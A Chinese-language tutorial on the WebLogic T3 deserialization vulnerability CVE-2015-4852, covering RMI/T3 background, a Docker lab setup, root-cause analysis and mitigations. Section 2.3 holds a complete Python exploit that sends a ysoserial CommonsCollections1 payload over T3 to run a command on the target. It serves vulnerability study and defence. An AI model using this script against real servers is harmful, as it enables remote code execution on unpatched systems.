WebLogic_T3反序列化漏洞(一)
WebLogic_T3反序列化漏洞
一、前置知识
1.1 RMI协议
RMI(Remote Method Invocation)即远程方法调用。它能够让在某个Java虚拟机上的对象像调用本地对象一样调用另一个Java虚拟机中的对象上的方法。它支持序列化的Java类的直接传输。
Java RMI的默认基础通信协议为JRMP,但其也支持开发其他的协议用来优化RMI的传输,或者兼容非JVM,如WebLogic的T3和兼容CORBA的IIOP。
RMI远程方法调用的过程一般有以下几个部分参与: 客户端对象(RMI Client) 服务端对象(RMI Server) 客户端代理对象(stub):远程对象在客户端上的代理。 服务端代理对象(skeleton):读取客户端传递的方法参数,调用服务器方的实际对象方法, 并接收方法执行后的返回值。 RMI 注册表(RMI register):其中注册了远程对象,并由RMI 客户端查找已注册的远程对象。其以URL形式注册远程对象,并向客户端回复对远程对象的引用。 RMI调用流程如图:
1.2 WebLogic RMI
1.3 T3协议
服务端可以持续追踪监控客户端是否存活(心跳机制),通常心跳的间隔为60秒,服务端在超过240秒未收到心跳即判定与客户端的连接丢失。 通过建立一次连接可以将全部数据包传输完成,优化了数据包大小和网络消耗。
1.4 JNDI
jdbc://<domain>:<port>
rmi://<domain>:<port>
ldap://<domain>:<port>
1.5 WebLogic T3反序列化漏洞简介
二、漏洞原理分析
2.1 环境搭建
将下载的jdk-7u21-linux-x64.tar.gz放于jdks下,wls1036_generic.jar放于weblogics下。
docker build --build-arg JDK_PKG=jdk-7u21-linux-x64.tar.gz --build-arg WEBLOGIC_JAR=wls1036_generic.jar -t weblogic1036jdk7u21 .
而后使用该镜像创建容器并运行。
docker run -d -p 7001:7001 -p 8453:8453 -p 5556:5556 --name weblogic1036jdk7u21 weblogic1036jdk7u21
Error: Failed to download metadata for repo 'appstream': Cannot prepare internal mirrorlist: No URLs in mirrorlist
RUN sed -i 's/mirrorlist/#mirrorlist/g' /etc/yum.repos.d/CentOS-*
RUN sed -i 's|#baseurl=http://mirror.centos.org|baseurl=http://vault.centos.org|g' /etc/yum.repos.d/CentOS-*
2.2 T3协议流量分析
而后查看客户端发送的序列化数据的对应包,如下图:
T3数据包主要内容如下图:
2.3 CVE-2015-4852漏洞分析
import struct # 负责大小端的转换
import subprocess
import socket
import re
import binascii
def generatePayload(gadget,cmd):
YSO_PATH = "ysoserial-master.jar"
popen = subprocess.Popen(['java', '-jar', YSO_PATH, gadget, cmd], stdout=subprocess.PIPE)
return popen.stdout.read()
def T3Exploit(ip,port,payload):
sock =socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 初始化socket,前者指定用于服务器与服务器之间的网络通信,后者指定基于TCP的流式socket通信
sock.connect((ip, port)) # 建立socket连接
handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n" # socket握手消息
sock.sendall(handshake.encode())
data = sock.recv(1024) # 接收第一个socket数据包,HELO
data1 = sock.recv(1024) # 接收第二个socket数据包,:10.3.6.0.false
isweblogic = re.compile("HELO").findall(data.decode()) # 匹配字段中有无HELO
version = re.compile(":(.*).0.false").findall(data1.decode()) # 使用正则匹配服务器握手消息中返回的weblogic版本号
if isweblogic and version:
print("WebLogic: "+"".join(version)) # 输出weblogic版本号
else:
print("Not WebLogic") # 对端可能不是weblogic
header = binascii.a2b_hex(b"00000000") # 先占位4个字节,这四个字节表示数据包长度
# 以下为t3协议头
t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006")
desflag = binascii.a2b_hex(b"fe010000") # 反序列化数据标志 fe010000,
payload = header + t3header + desflag + payload # 将各部分拼接,将ysoserial生成payload添加到后面
# 计算payload长度,并将长度字段放于前四个字节
payload = struct.pack(">I", len(payload)) + payload[4:]
sock.send(payload)
if __name__ == "__main__":
ip = "192.168.219.206"
port = 7001
gadget = "CommonsCollections1" # 指定使用CommonsCollections1反序列化利用链
cmd = "touch /tmp/test_t3.txt" # 让被攻击服务器执行的指定命令,创建一个文件
payload = generatePayload(gadget, cmd) # 使用ysoserial生成payload
T3Exploit(ip, port, payload)
查看weblogic服务器上的tmp目录,发现已经成功创建文件test_t3.txt。
查看ServerChannelInputStream这个类,发现其继承于ObjectInputStream,而且并没有重写readObject()方法,可以说这里没有对传入的序列化数据做任何处理,直接传入ObjectInputStream的readObject()方法中进行反序列化操作。
而weblogic这个版本自带Apache Commons Collections3.2.0,于是我们可以利用ysoserial生成CommonsCollections1的payload进行利用,于是我们将T3协议的序列化数据替换成这个生成的payload即可触发反序列化漏洞。
2.4 resolveClass与Java反序列化防御
可以说当时用readObject()方法进行反序列化时,其必定会调用该方法。于是我们可以重写resolveClass方法,使用黑名单的方式,让攻击者无法获取用于执行命令的相关类的Class对象。上述 CVE-2015-4852漏洞分析中,我们看到其在ServerChannelInputStream中重写了resolveClass方法,但并没有对传入的数据做任何处理,而是直接使用父类ObjectInputStream的resolveClass方法。
而WebLogic对CVE-2015-4852的修复措施也是在resloveClass里加上 ClassFilter.isBlackListed黑名单过滤。
三、修复建议
采用web代理,这样只能转发HTTP的请求,而不会转发T3协议的请求。 使用负载均衡,并且指定需要进行负载均衡的协议类型为HTTP,不接收其他的协议请求转发。
四、参考文章
点击文字可跳转
登录
前往注册账号注册
注册成功,默认密码已通过短信发送给您
欢迎来到蜗牛学苑~
我们仍旧想要当初想要的不一样,世间浮沉,到最后还是想要和当初想要的和别人不一样。
3小时前 2人点赞